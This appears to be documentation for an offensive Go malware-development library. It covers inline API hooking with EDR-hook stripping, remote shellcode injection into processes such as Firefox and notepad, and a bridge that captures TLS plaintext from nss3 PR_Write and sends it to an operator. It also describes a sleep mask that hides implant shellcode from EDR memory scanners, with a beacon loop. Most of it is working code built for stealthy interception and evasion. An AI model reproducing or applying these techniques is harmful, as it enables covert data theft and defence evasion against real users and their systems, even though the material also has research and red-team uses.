func InstallByName(dllName, funcName string, handler interface{}) (*Hook, error)

type Hook struct{ ... }
func (h *Hook) Remove() error
func (h *Hook) Trampoline() uintptr
func (h *Hook) Target() uintptr

Install(targetAddr, handler) (*Hook, error)

Parameters:

  • targetAddr — absolute address of the Windows function to patch (resolve via windows.NewLazyDLL("kernel32.dll").NewProc("DeleteFileW").Addr()).
  • handler — Go function whose signature matches the target. Use interface{} so callers don't pay the cost of typed-callback boilerplate; syscall.NewCallback synthesises the C-ABI thunk.

Returns: *Hook ready for .Remove() / .Trampoline(). Errors on prologue-decode failure (RIP-relative jump in first 5 bytes that can't be relocated), relay-allocation failure (no ±2 GB page available), or write failure.

Side effects: mutates the first 5 bytes of targetAddr (saved inside the Hook for restore), allocates two RX pages within ±2 GB of the target.

InstallByName(dllName, funcName, handler)

Convenience wrapper that resolves dllName!funcName via win/api.ResolveByHash (string-free at runtime when called with build-time constants) before calling Install.

Hook.Remove() / Hook.Trampoline() / Hook.Target()

Remove restores the original 5 bytes and frees the relay/trampoline pages. Trampoline returns the address callable from the handler to invoke the original function (mandatory if you want pass-through). Target returns the resolved target address (handy for logging).

Usage

Intercept and Log

import (
    "log"
    "syscall"
    "unsafe"

    "github.com/oioio-space/maldev/evasion/hook"
    "golang.org/x/sys/windows"
)

var h *hook.Hook

func main() {
    var err error
    h, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
        func(lpFileName uintptr) uintptr {
            name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))
            log.Printf("DeleteFileW: %s", name)
            r, _, _ := syscall.SyscallN(h.Trampoline(), lpFileName)
            return r
        },
    )
    if err != nil {
        log.Fatal(err)
    }
    defer h.Remove()

    // All DeleteFileW calls in this process now go through our handler.
    select {}
}

Block an API Call

var h *hook.Hook
h, _ = hook.InstallByName("kernel32.dll", "DeleteFileW",
    func(lpFileName uintptr) uintptr {
        return 0 // Return FALSE — deletion blocked
    },
)
defer h.Remove()

Monitor NtCreateFile

var h *hook.Hook
h, _ = hook.InstallByName("ntdll.dll", "NtCreateFile",
    func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
         fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
         eaLength uintptr) uintptr {
        log.Println("NtCreateFile intercepted")
        r, _, _ := syscall.SyscallN(h.Trampoline(),
            fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
            fileAttrs, shareAccess, createDisp, createOpts, eaBuffer, eaLength)
        return r
    },
)
defer h.Remove()

How to Find the Right Function to Hook

You don't need x64dbg. Windows API functions are exported by name from system DLLs — InstallByName resolves them automatically.

Step 1: Identify the API

Ask: "What Windows API does the operation I want to intercept call?"

I want to intercept...Hook this functionIn this DLL
File deletionDeleteFileWkernel32.dll
File creation/openingNtCreateFilentdll.dll
Process creationCreateProcessWkernel32.dll
Registry writesRegSetValueExWadvapi32.dll
Network connectionsconnectws2_32.dll
DNS resolutionDnsQuery_Wdnsapi.dll
MessageBoxMessageBoxWuser32.dll
Memory allocationNtAllocateVirtualMemoryntdll.dll
DLL loadingLdrLoadDllntdll.dll
ScreenshotBitBltgdi32.dll

Tip: Hook the Nt* (ntdll) version to catch all callers — kernel32 functions like CreateFileW internally call NtCreateFile, so hooking at the ntdll level catches both direct and indirect calls.

Step 2: Find the Signature

Look up the function signature on Microsoft Learn. Convert each parameter to uintptr in your Go handler:

// MSDN signature:
// BOOL DeleteFileW(LPCWSTR lpFileName)
//
// Go handler:
func(lpFileName uintptr) uintptr

// MSDN signature:
// NTSTATUS NtCreateFile(
//   PHANDLE FileHandle,
//   ACCESS_MASK DesiredAccess,
//   POBJECT_ATTRIBUTES ObjectAttributes,
//   PIO_STATUS_BLOCK IoStatusBlock,
//   PLARGE_INTEGER AllocationSize,
//   ULONG FileAttributes,
//   ULONG ShareAccess,
//   ULONG CreateDisposition,
//   ULONG CreateOptions,
//   PVOID EaBuffer,
//   ULONG EaLength
// )
//
// Go handler: all pointers and integers become uintptr
func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
     fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
     eaLength uintptr) uintptr

Step 3: Write the Hook

package main

import (
    "fmt"
    "log"
    "os"
    "syscall"
    "unsafe"

    "github.com/oioio-space/maldev/evasion/hook"
    "golang.org/x/sys/windows"
)

var hDeleteFile *hook.Hook

func main() {
    var err error

    // Hook DeleteFileW — intercept all file deletions in this process.
    hDeleteFile, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
        func(lpFileName uintptr) uintptr {
            name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))

            // Decide: block or allow?
            if name == `C:\important.txt` {
                log.Printf("BLOCKED deletion of %s", name)
                // Return FALSE — caller's GetLastError() will see whatever
                // is already in TEB (typically 0). Use windows.SetLastError
                // via direct syscall if you need a specific code.
                return 0
            }

            // Allow — call original via trampoline.
            log.Printf("ALLOWED deletion of %s", name)
            r, _, _ := syscall.SyscallN(hDeleteFile.Trampoline(), lpFileName)
            return r
        },
    )
    if err != nil {
        log.Fatal(err)
    }
    defer hDeleteFile.Remove()

    // Test it — try to delete a file.
    err = os.Remove(`C:\important.txt`)
    fmt.Printf("Remove result: %v\n", err) // Access denied — hook blocked it

    err = os.Remove(`C:\temp\disposable.txt`)
    fmt.Printf("Remove result: %v\n", err) // Allowed — hook called original
}

Step 4: List All Exports

To discover what functions a DLL exports (without x64dbg), use debug/pe:

import "debug/pe"

f, _ := pe.Open(`C:\Windows\System32\kernel32.dll`)
defer f.Close()

exports, _ := f.Exports()
for _, e := range exports {
    fmt.Println(e.Name)
}
// Output: AcquireSRWLockExclusive, AddAtomA, AddAtomW, ...

Finding Signatures Without MSDN

The PE export table only stores name → addressno parameter types or count. This is a fundamental limitation of the PE format. Several approaches exist depending on the context:

For Windows APIs: just use MSDN

Microsoft documents every public function. Search site:learn.microsoft.com <function name> and translate to uintptr.

For unknown/third-party functions: estimate parameter count

Since Go handlers use uintptr for all parameters, you only need to know how many params — not their types. The x64 ABI is predictable:

  • First 4 args: RCX, RDX, R8, R9
  • Additional args: pushed on stack after 32-byte shadow space
  • sub rsp, 0xNN in the prologue hints at the frame size

Practical shortcut: declare more parameters than the function actually takes. Extra uintptr args are harmless — the Go callback ignores them:

// Don't know exact param count? Declare the maximum (up to 18).
// Unused params are simply zero.
h, _ = hook.Install(funcAddr, func(
    a1, a2, a3, a4, a5, a6, a7, a8 uintptr,
) uintptr {
    log.Printf("called with: %x %x %x %x", a1, a2, a3, a4)
    r, _, _ := syscall.SyscallN(h.Trampoline(), a1, a2, a3, a4, a5, a6, a7, a8)
    return r
})

For programs with debug symbols (.pdb)

Microsoft publishes PDB files for system binaries on the Symbol Server. Third-party programs sometimes ship with .pdb files next to the .exe. PDB files contain full type information including parameter names and types. Parsing requires a PDB reader (not yet in maldev).

Discovering imports of a target program

To see which DLL functions a program calls (and thus which are hookable via IAT), parse its import table:

import "debug/pe"

f, _ := pe.Open(`C:\path\to\target.exe`)
defer f.Close()

imports, _ := f.ImportedSymbols()
for _, sym := range imports {
    fmt.Println(sym) // "kernel32.dll:CreateFileW", "ntdll.dll:NtClose", etc.
}

This tells you exactly which functions the target uses — you can then look up each one's signature by name.

Hook Options

Install and InstallByName accept variadic HookOption values:

OptionEffect
WithCaller(caller)Route the memory-patch syscall through a *wsyscall.Caller for indirect/direct syscall dispatch (EDR evasion)
WithCleanFirst()Re-read the target function prologue from disk before patching, stripping any EDR hook already present
caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))

h, err := hook.InstallByName("ntdll.dll", "NtWriteFile", myHandler,
    hook.WithCaller(caller),   // use indirect syscalls for the patch
    hook.WithCleanFirst(),     // evict EDR hook first
)

Both options compose: WithCleanFirst strips the EDR hook via unhook.ClassicUnhook, then WithCaller writes the new patch through the indirect-syscall path.


InstallProbe — Unknown Signatures

When you don't know a function's parameter types or count, use InstallProbe. It hooks with a 18-uintptr handler, calls the original transparently, and delivers a ProbeResult to your callback on every call.

func Install​Probe(targetAddr uintptr, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)
func Install​ProbeByName(dllName, funcName string, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)

ProbeResult

type ProbeResult struct {
    Args [18]uintptr
    Ret  uintptr
}

func (r ProbeResult) NonZeroArgs() []int  // indices of non-zero args
func (r ProbeResult) NonZeroCount() int   // count of non-zero args

Example: discover parameters of an unknown function

h, err := hook.InstallProbeByName("somelib.dll", "UnknownFunc",
    func(r hook.ProbeResult) {
        log.Printf("called: %d non-zero args at indices %v",
            r.NonZeroCount(), r.NonZeroArgs())
        // Inspect r.Args[0], r.Args[1], ... to understand the ABI.
    },
)
if err != nil {
    log.Fatal(err)
}
defer h.Remove()

Call the target binary and observe which argument slots light up. Once you have a count, switch to a typed Install handler.


HookGroup — Multi-Hook

HookGroup installs a set of hooks atomically: if any installation fails, all previously installed hooks in the group are removed before the error is returned, so the process never ends up in a half-hooked state.

func InstallAll(targets []Target, opts ...HookOption) (*HookGroup, error)

type Target struct {
    DLL     string
    Func    string
    Handler interface{}
}

func (g *HookGroup) RemoveAll() error
func (g *HookGroup) Hooks() []*Hook

Example: hook all Winsock send/recv at once

var (
    hSend *hook.Hook
    hRecv *hook.Hook
)

g, err := hook.InstallAll([]hook.Target{
    {DLL: "ws2_32.dll", Func: "send",
        Handler: func(s, buf, len, flags uintptr) uintptr {
            log.Printf("send: %d bytes", len)
            r, _, _ := syscall.SyscallN(hSend.Trampoline(), s, buf, len, flags)
            return r
        },
    },
    {DLL: "ws2_32.dll", Func: "recv",
        Handler: func(s, buf, len, flags uintptr) uintptr {
            log.Printf("recv: %d bytes", len)
            r, _, _ := syscall.SyscallN(hRecv.Trampoline(), s, buf, len, flags)
            return r
        },
    },
})
if err != nil {
    log.Fatal(err) // both hooks rolled back on any failure
}
// Populate trampoline references after group install.
hSend = g.Hooks()[0]
hRecv = g.Hooks()[1]
defer g.RemoveAll()

PE Import Analysis

pe/imports enumerates the IAT (Import Address Table) of any PE on disk — no process access required. Use it to discover which functions a target binary imports so you know what to hook.

// List every import in an executable.
func List(pePath string) ([]Import, error)

// Filter to a single DLL.
func ListByDLL(pePath, dllName string) ([]Import, error)

// Parse from an io.ReaderAt (e.g. in-memory PE).
func FromReader(r io.ReaderAt) ([]Import, error)

type Import struct {
    DLL      string
    Function string
}

Example: find hookable network functions in a target

import "github.com/oioio-space/maldev/pe/imports"

imps, err := imports.ListByDLL(`C:\Program Files\target\app.exe`, "ws2_32.dll")
if err != nil {
    log.Fatal(err)
}
for _, imp := range imps {
    fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}
// ws2_32.dll!connect
// ws2_32.dll!send
// ws2_32.dll!recv
// ws2_32.dll!WSASend

Remote Hooking

RemoteInstall injects a shellcode hook handler into another process. The patching itself happens inside the target process (the shellcode is responsible for installing the hook once loaded). Compose with GoHandler to turn a Go hook DLL into position-independent shellcode via Donut.

// Inject shellcode handler into a process by PID.
func RemoteInstall(pid uint32, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error

// Resolve process name to PID, then call RemoteInstall.
func RemoteInstallByName(processName, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error

// Convert a Go hook DLL on disk to PIC shellcode.
func GoHandler(dllPath, entryPoint string) ([]byte, error)

// Convert a Go hook DLL already loaded in memory to PIC shellcode.
func GoHandlerBytes(dllBytes []byte, entryPoint string) ([]byte, error)

// Override the injection method (default: CreateRemoteThread).
func WithMethod(m inject.Method) RemoteOption

All 15+ injection methods from inject/ are available via WithMethod.

Example workflow: hook PR_Write in Firefox

// 1. Build the hook DLL (go build -buildmode=c-shared -o hook.dll ./hookcmd)
sc, err := hook.GoHandler(`hook.dll`, "InstallHook")
if err != nil {
    log.Fatal(err)
}

// 2. Inject into the running process using a stealthy method.
err = hook.RemoteInstallByName("firefox.exe", "nss3.dll", "PR_Write", sc,
    hook.WithMethod(inject.MethodEarlyBirdAPC),
)
if err != nil {
    log.Fatal(err)
}
// Firefox's TLS layer (nss3.dll!PR_Write) is now intercepted.

Shellcode Templates

evasion/hook/shellcode provides tiny x64 stubs for use with RemoteInstall when you want a pre-canned behaviour without writing a full hook DLL.

// Block() — always returns 0 (FALSE). 3 bytes: XOR EAX,EAX; RET
func Block() []byte

// Nop(addr) — calls original function unchanged via JMP to trampoline. 13 bytes.
func Nop(trampolineAddr uintptr) []byte

// Replace(val) — returns a fixed value. 11 bytes: MOV RAX,imm64; RET
func Replace(returnValue uintptr) []byte

// Redirect(addr) — unconditional JMP to another address. 13 bytes.
func Redirect(targetAddr uintptr) []byte

Example: silently block a single API in a remote process

import "github.com/oioio-space/maldev/evasion/hook/shellcode"

// Block all CreateFile calls in notepad.exe — returns 0 with no side-effects.
err := hook.RemoteInstallByName("notepad.exe", "kernel32.dll", "CreateFileW",
    shellcode.Block(),
)

Bridge Control API

The evasion/hook/bridge package provides a bidirectional IPC channel between a hook handler running inside a target process and an operator listener outside (or in a separate goroutine).

Modes

ModeHowWhen to use
Standalonebridge.Standalone()Hook runs autonomously — all Ask calls return Allow automatically
Connectedbridge.Connect(conn)Hook sends events to a live listener for real-time decisions

Controller (hook handler side)

// Standalone — no comms, all decisions auto-allow.
c := bridge.Standalone()

// Connected — bidirectional channel to a Listener.
c := bridge.Connect(conn)

// Send a tagged call for approval; blocks until listener replies.
// Returns Allow on any transport error (fail-open).
decision := c.Ask("tag", data) // returns Allow | Block | Modify

// Send a free-form log message to the listener.
c.Log("format %s", value)

// Exfiltrate tagged binary data to the listener.
c.Exfil("tag", data)

// Call the original function via trampoline.
ret := c.CallOriginal(args...)

Decisions:

bridge.Allow  // pass through to original
bridge.Block  // suppress the call
bridge.Modify // caller adjusts args/return before forwarding

Listener (operator side)

conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)

l.OnCall(func(c bridge.Call) bridge.Decision {
    log.Printf("[%s] %x", c.Tag, c.Data)
    return bridge.Allow
})
l.OnExfil(func(tag string, data []byte) {
    log.Printf("exfil[%s]: %d bytes", tag, len(data))
})
l.OnLog(func(msg string) { log.Println(msg) })

go l.Serve() // blocks until connection closed
defer l.Close()

Transport

// Named pipe (Windows — low footprint, no network traffic).
conn, err := bridge.DialPipe(`\\.\pipe\hookbridge`, 5*time.Second)

// TCP (cross-host or cross-process).
conn, err := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)

Example: TLS interception via PR_Write hook

// --- implant side (inside target process, hook DLL) ---
c := bridge.Connect(conn)

hook.InstallByName("nss3.dll", "PR_Write",
    func(fd, buf, amount uintptr) uintptr {
        data := unsafe.Slice((*byte)(unsafe.Pointer(buf)), amount)
        c.Exfil("pr_write", data)                     // send plaintext to operator
        d := c.Ask("pr_write_allow", data)             // ask for approval
        if d == bridge.Block {
            return 0
        }
        r, _, _ := syscall.SyscallN(h.Trampoline(), fd, buf, amount)
        return r
    },
)

// --- operator side (separate process) ---
conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)
l.OnExfil(func(tag string, data []byte) {
    fmt.Printf("[TLS plaintext] %s\n", data)
})
l.OnCall(func(c bridge.Call) bridge.Decision {
    return bridge.Allow // let all writes through
})
go l.Serve()

Advantages & Limitations

AspectDetail
Pure GoNo CGo — uses syscall.NewCallback
Auto analysisPrologue decoded via x86asm
RIP fixupRIP-relative instructions patched in trampoline
TrampolineOriginal function remains callable
Max params~18 uintptr parameters (NewCallback limit)
ScopeCurrent process only (use RemoteInstall for other processes)
Thread safetyBrief race window during patch (non-atomic write)
Go runtimeDon't hook NtClose, NtCreateFile, NtReadFile, NtWriteFile
WithCallerRoutes memory-patch through indirect/direct syscalls to evade EDR write monitors
WithCleanFirstStrips existing EDR hook from disk image before installing yours
InstallProbeSignature-agnostic probe; captures all 18 arg slots, zero overhead on unknown ABIs
HookGroupAtomic multi-hook install with rollback — no partial state on failure
RemoteInstallInjects hook handler into another process via any of 15+ injection methods
GoHandlerConverts Go hook DLL to PIC shellcode via Donut (no separate toolchain needed)
shellcode templatesBlock / Nop / Replace / Redirect — tiny PIC stubs for remote hooks
Bridge (standalone)Autonomous hook with no comms; Ask always returns Allow
Bridge (connected)Real-time operator control over allow/block/modify decisions via named pipe or TCP

Comparison with evasion/unhook

evasion/hookevasion/unhook
DirectionInstalls hooks (intercept)Removes hooks (restore)
Use caseAPI monitoring, redirectionEDR bypass
ComplementaryUnhook EDR first, then install your own hooks

MITRE ATT&CK

TechniqueID
Hijack Execution Flow: Inline HookingT1574.012

Detection

High — Any integrity check comparing in-memory function prologues to their on-disk counterparts will detect the JMP patch. EDR products specifically monitor for this on sensitive functions.

See also

Encrypted Sleep (Sleep Mask)

MITRE ATT&CK: T1027 — Obfuscated Files or Information D3FEND: D3-SMRA — System Memory Range Analysis Detection: Low · Platform: Windows

Primer

An in-memory implant that stays executable 24/7 is easy to spot. Every EDR that scans process memory at intervals — walking committed pages with VirtualQueryEx, filtering for PAGE_EXECUTE_READ / PAGE_EXECUTE_READWRITE, hashing or YARA-matching the contents — has unlimited attempts to find your shellcode between beacon cycles.

Sleep masking cuts their window to nearly zero. Right before going idle, the implant flips its own pages off the executable list (dropping the X bit to PAGE_READWRITE) and XOR-scrambles the bytes under a fresh random key. Anything that scans executable memory during that idle period will not even see the region, let alone match a signature. When the sleep ends, the mask XORs back and restores the original protection, and the implant is ready to run.

This package's Mask type composes a Cipher (XOR / RC4 / AES-CTR) with a Strategy (inline / timerqueue / ekko / foliage) and accepts a context.Context so sleep cycles can be cancelled. It also ships a RemoteMask for masking memory in another process. The e2e tests in sleepmask_e2e_windows_test.go run a real concurrent memory scanner during Sleep() across the available strategies and assert it finds nothing.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Mask as "Mask.Sleep"
    participant Page as "Protected region"
    participant Scan as "EDR scanner"

    Impl->>Mask: Sleep(30s)
    Mask->>Mask: 32-byte random key (crypto/rand)

    Note over Mask,Page: Order matters: RW first, then XOR.<br>Post-inject pages are PAGE_EXECUTE_READ,<br>writing before downgrade = STATUS_ACCESS_VIOLATION

    loop For each region
        Mask->>Page: VirtualProtect(RW), capture origProtect
        Mask->>Page: XOR in-place with key
    end

    Note over Page: Pages: RW + scrambled bytes<br>(not on the scanner's target list)

    Scan->>Page: scan executable pages
    Page-->>Scan: no executable pages matching<br>signature in this region

    Mask->>Mask: time.Sleep(30s) OR BusyWaitTrig(30s)

    loop For each region
        Mask->>Page: VirtualProtect(RW) [no-op if already RW]
        Mask->>Page: XOR decrypt (self-inverse)
        Mask->>Page: VirtualProtect(origProtect)
    end

    Mask->>Mask: SecureZero(key)
    Mask-->>Impl: return

Step-by-step:

  1. Generate keycipher.KeySize() random bytes from crypto/rand (32 for XOR/RC4, 48 for AES-CTR).
  2. Downgrade + encrypt — for each region: VirtualProtect(PAGE_READWRITE, &origProtect[i]) then cipher.Apply(buf, key).
  3. Wait — delegated to the selected Strategy: InlineStrategy waits on the caller goroutine; TimerQueueStrategy waits on a thread-pool worker; EkkoStrategy waits inside a WaitForSingleObjectEx ROP gadget on a pool thread so the beacon RIP never sits in Sleep/SleepEx.
  4. Decrypt + restoreVirtualProtect(PAGE_READWRITE) (idempotent), cipher.Apply again (self-inverse for XOR/RC4; symmetric counter for AES-CTR), VirtualProtect(origProtect[i]) to restore the original bits.
  5. Scrub keycleanup/memory.SecureZero(key) so keying material does not linger on the Go stack.

Taxonomy: Levels of sleep mask

LevelNameWhat it hidesStrategy in this package
L1InlineRegion bytes + executable bitInlineStrategy (default)
L2-lightPool threadAbove + caller thread's wait syscall is not SleepTimerQueueStrategy
L2-fullEkkoAbove + beacon thread RIP sits inside VirtualProtect / SystemFunction032 / WaitForSingleObjectEx via NtContinue ROP chainEkkoStrategy
L3FoliageL2 + thread stack scrubbing on wait (memset of used shadow frames)FoliageStrategy
L4BOF-styleL3 + in-memory loader isolationnot shipped

See the design spec in docs/superpowers/specs/2026-04-23-sleepmask-variants-design.md for the full taxonomy and deferred work.

Usage

Minimal: mask a single region

import (
    "context"
    "time"
    "github.com/oioio-space/maldev/evasion/sleepmask"
)

// shellcodeAddr points at a PAGE_EXECUTE_READ region holding your payload.
mask := sleepmask.New(sleepmask.Region{
    Addr: shellcodeAddr,
    Size: shellcodeLen,
})
// region is RW + scrambled during these 30s
_ = mask.Sleep(context.Background(), 30*time.Second)

Multi-region: protect non-contiguous memory

mask := sleepmask.New(
    sleepmask.Region{Addr: shellcode, Size: shellcodeLen},
    sleepmask.Region{Addr: reflectiveDLL, Size: dllSize},
    sleepmask.Region{Addr: configBlock, Size: configLen},
)
_ = mask.Sleep(context.Background(), 45*time.Second)

Each region keeps its own original protection. An RX region is restored to RX; an RWX region is restored to RWX. See TestSleepMaskE2E_MultiRegionIndependentEncryption and TestSleepMaskE2E_RestoresOriginalRWXProtection.

Multi-region with Ekko

EkkoStrategy's ROP chain is single-region by construction (the NtContinue chain has hardcoded gadget slots for one VirtualProtect / SystemFunction032 / VirtualProtect triplet). For multi-region masking under the Ekko model, wrap it in MultiRegionRotation:

mask := sleepmask.New(regionA, regionB, regionC).
    WithStrategy(&sleepmask.MultiRegionRotation{Inner: &sleepmask.EkkoStrategy{}}).
    WithCipher(sleepmask.NewRC4Cipher())
_ = mask.Sleep(context.Background(), 30*time.Second)

MultiRegionRotation runs Inner.Cycle once per region for d/N seconds each. The total wall-clock duration matches d. Trade-off: only one region is encrypted at any given moment — regionA is masked during seconds [0, 10), regionB during [10, 20), regionC during [20, 30). For simultaneous protection of all regions across the full duration, use InlineStrategy or TimerQueueStrategy, both of which already iterate over the regions slice up-front.

Choosing a strategy

// Default (L1): caller goroutine runs encrypt → wait → decrypt.
mask := sleepmask.New(region) // equivalent to WithStrategy(&InlineStrategy{})

// Same strategy but with a trigonometric busy-wait instead of time.Sleep.
mask := sleepmask.New(region).
    WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})

// L2-light: cycle runs on a thread-pool worker, caller blocks on an event.
mask := sleepmask.New(region).
    WithStrategy(&sleepmask.TimerQueueStrategy{})

// L2-full: NtContinue ROP chain (windows+amd64 only, RC4 cipher required).
mask := sleepmask.New(region).
    WithCipher(sleepmask.NewRC4Cipher()).
    WithStrategy(&sleepmask.EkkoStrategy{})

// L3 Foliage: Ekko + stack-scrub (zero our used gadget shadows
// mid-chain so a walker mid-wait sees clean zeros above Rsp instead
// of VP/SF032 residue).
mask := sleepmask.New(region).
    WithCipher(sleepmask.NewRC4Cipher()).
    WithStrategy(&sleepmask.FoliageStrategy{})
StrategyThread doing the waitWait syscall on that threadCostStatus
InlineStrategy{}caller goroutineNtWaitForSingleObject (time.Sleep)near-zero CPUshipped
InlineStrategy{UseBusyTrig: true}caller goroutinenone (CPU-bound trig loop)full core busyshipped
TimerQueueStrategy{}thread-pool workerWaitForSingleObject on a never-fired eventnear-zero CPUshipped
EkkoStrategy{}thread-pool workerWaitForSingleObjectEx reached via an NtContinue gadget chainnear-zero CPUshipped (windows+amd64, RC4 only, single region)
FoliageStrategy{}thread-pool workerSame as Ekko + extra memset gadget scrubs used shadow frames to zeros before the waitnear-zero CPUshipped (L3; windows+amd64, RC4 only, single region)

Rule of thumb: default to InlineStrategy{}. Switch to TimerQueueStrategy{} when you want the beacon goroutine's wait to look distinct from Sleep. Switch to InlineStrategy{UseBusyTrig: true} when you're fighting a sandbox that warps time or an EDR that has hooked every kernel wait primitive.

Choosing a cipher

mask := sleepmask.New(region).WithCipher(sleepmask.NewRC4Cipher())
CipherKeyspaceStrengthsWeaknesses
NewXORCipher() (default)32 bytes, repeatingtiny, dependency-free, self-inverse32-byte period visible under key-period analysis
NewRC4Cipher()32 bytes, streamstream cipher, no period, required by EkkoStrategy (SystemFunction032)RC4 key-schedule biases — not a cryptographic guarantee
NewAESCTRCipher()48 bytes (32 key + 16 nonce)modern, audited primitivelarger code footprint, slightly heavier CPU

The cipher has no bearing on scanner evasion (any of them scrambles the region) — it matters for analysts dumping the region and trying to reconstruct bytes after seeing multiple cycles under the same key material. Since the key is fresh per cycle, the practical gap between XOR and AES is small; pick on footprint.

Real beacon loop

package main

import (
    "time"
    "unsafe"

    "golang.org/x/sys/windows"

    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

func beacon(shellcode []byte) error {
    size := uintptr(len(shellcode))
    addr, err := windows.VirtualAlloc(0, size,
        windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    if err != nil {
        return err
    }
    copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)

    var old uint32
    if err := windows.VirtualProtect(addr, size, windows.PAGE_EXECUTE_READ, &old); err != nil {
        return err
    }

    mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: size})

    for {
        // Run your beacon logic: check in, pull tasks, execute, exfil.
        if err := inject.ExecuteCallback(addr, inject.CallbackEnumWindows); err != nil {
            return err
        }
        // Hide while idle.
        _ = mask.Sleep(context.Background(), 30*time.Second)
    }
}

Integrating with inject.SelfInjector

When the shellcode lands via one of the self-process injection methods (MethodCreateThread, MethodCreateFiber, MethodEtwpCreateEtwThread on Windows; MethodProcMem on Linux), you don't need to allocate or track the region manually — the injector already did. Type-assert the returned Injector to inject.SelfInjector and pull the region directly into the mask:

inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }

self, ok := inj.(inject.SelfInjector)
if !ok { return fmt.Errorf("not a self-process injector") }

r, ok := self.InjectedRegion()
if !ok { return fmt.Errorf("no region published (cross-process method?)") }

mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size}).
    WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})

for {
    // beacon work...
    _ = mask.Sleep(context.Background(), 30*time.Second)
}

The SelfInjector contract: returns (Region{}, false) before the first successful Inject, after a failed Inject, or when the method is cross-process (CRT / APC / EarlyBird / ThreadHijack / Rtl / NtQueueApcThreadEx). Decorators (WithValidation, WithCPUDelay, WithXOR) and Pipeline forward the region transparently, so the same pattern works at the end of any Chain. See docs/techniques/injection/README.md for the injection side of the contract.

Verifying It Works

The e2e suite runs a concurrent testutil.ScanProcessMemory — the same loop an EDR uses: VirtualQuery every page, filter for PAGE_EXECUTE_*, search for a signature — while Mask.Sleep() is in progress. Key fixtures:

  • testutil.WindowsSearchableCanary — a 19-byte payload: xor eax,eax; ret followed by the ASCII marker MALDEV_CANARY!!\n. The marker makes the region trivially findable on an executable page.
  • testutil.ScanProcessMemory(marker) — walks every committed region in the process, returns the first hit on an executable page.

The canonical test proves the full contract in one shot:

// From sleepmask_e2e_windows_test.go
func TestSleepMaskE2E_DefeatsExecutablePageScanner(t *testing.T) {
    payload := testutil.WindowsSearchableCanary
    addr, cleanup := allocAndWriteRX(t, payload) // allocs + flips to PAGE_EXECUTE_READ
    defer cleanup()

    // Baseline: findable before masking.
    marker := []byte("MALDEV_CANARY!!\n")
    _, ok := testutil.ScanProcessMemory(marker)
    require.True(t, ok, "baseline scan must find canary before masking")

    mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: uintptr(len(payload))})

    // Concurrent scanner during the sleep.
    var scanHits, scanAttempts int32
    stopScan := make(chan struct{})
    scanDone := make(chan struct{})
    go func() {
        defer close(scanDone)
        for {
            select {
            case <-stopScan: return
            default:
            }
            atomic.AddInt32(&scanAttempts, 1)
            if _, hit := testutil.ScanProcessMemory(marker); hit {
                atomic.AddInt32(&scanHits, 1)
            }
            time.Sleep(5 * time.Millisecond)
        }
    }()

    _ = mask.Sleep(context.Background(), 300*time.Millisecond)
    close(stopScan); <-scanDone

    assert.Zero(t, atomic.LoadInt32(&scanHits),
        "concurrent scanner must NOT find canary during masked sleep")
    assert.Greater(t, atomic.LoadInt32(&scanAttempts), int32(5),
        "scanner must have run several passes during the sleep")

    _, ok = testutil.ScanProcessMemory(marker)
    assert.True(t, ok, "canary must be findable again after sleep returns")
}

The full suite (all run on a real Win10 VM via scripts/vm-run-tests.sh):

TestWhat it proves
TestSleepMaskE2E_DefeatsExecutablePageScanner~60 concurrent scans during a 300 ms sleep, zero hits. Scan finds the canary before and after.
TestSleepMaskE2E_RestoresOriginalRXProtectionMid-sleep VirtualQuery reports PAGE_READWRITE; post-sleep reports PAGE_EXECUTE_READ.
TestSleepMaskE2E_RestoresOriginalRWXProtectionAn RWX region stays RWX after the cycle (not collapsed to RX).
TestSleepMaskE2E_MultiRegionIndependentEncryptionTwo distinct markers, each region scrambled mid-sleep, both bytes restored.
TestSleepMaskE2E_BeaconLoopStableAcrossCycles10 back-to-back cycles; bytes and protection unchanged after every cycle.
TestSleepMaskE2E_BusyTrigAlsoDefeatsScannerInlineStrategy{UseBusyTrig: true} gives the same scanner-defeating guarantee as the default.
TestSleepMaskE2E_DefeatsExecutablePageScanner/{inline,timerqueue}sub-tests loop the core scan-defeats invariant over every shipped strategy.
TestTimerQueueStrategy_CycleRoundTrip / _CtxCancellationPool-thread variant encrypts + decrypts correctly and still decrypts on ctx.DeadlineExceeded.
TestEkkoStrategy_RejectsNonRC4Cipher / _RejectsMultiRegionEkko validates its input constraints (RC4 only, single region).
TestRemoteInlineStrategy_RoundTripRemoteMask round-trips bytes through ReadProcessMemory → Apply → WriteProcessMemory against a spawned notepad.

Run locally:

./scripts/vm-run-tests.sh windows "./evasion/sleepmask/..." "-v -count=1 -run TestSleepMaskE2E"

Common Pitfalls

